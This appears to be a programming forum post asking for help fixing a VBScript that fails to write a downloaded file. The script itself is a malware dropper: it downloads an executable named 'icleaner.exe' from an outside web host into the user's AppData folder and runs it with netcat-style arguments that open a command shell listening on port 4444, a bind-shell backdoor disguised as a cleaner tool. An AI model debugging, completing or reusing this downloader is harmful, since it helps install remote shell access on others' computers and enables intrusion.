Solution needed to vbscript write to file faliure.

See more:

VBScript

Grettings Viewers

Can somone help me fix this VBScript write error, I am trying to make a vbscript that download file to windows variable directory %Tmp%, each time i run the vbscript, I get write to file failed. I have been trying to work arounf this but not getting it right. I have attched my vbscript code below for review.

What I have tried:

dim http_obj
dim stream_obj
dim shell_obj

set http_obj = CreateObject("Microsoft.XMLHTTP")
set stream_obj = CreateObject("ADODB.Stream")

set shell_obj = CreateObject("WScript.Shell")
Dim objWShell
Set objWShell = WScript.CreateObject("WScript.Shell")
Dim appData
appData = objWShell.expandEnvironmentStrings("%APPDATA%")
APPPATH = appData + ("\cleaner\")

URL = "http://webserer.com/icleaner.exe" 'Where to download the file from
FILENAME = "icleaner.exe" 'Name to save the file (on the local system)
RUNCMD = APPPATH + "icleaner.exe -L -p 4444 -e cmd.exe" 'Command to run after downloading

http_obj.open "GET", URL, False
http_obj.send

stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile APPPATH + FILENAME, 2
shell_obj.run RUNCMD
stream_obj.close

I will appreciate any assistance about this.

Thank you.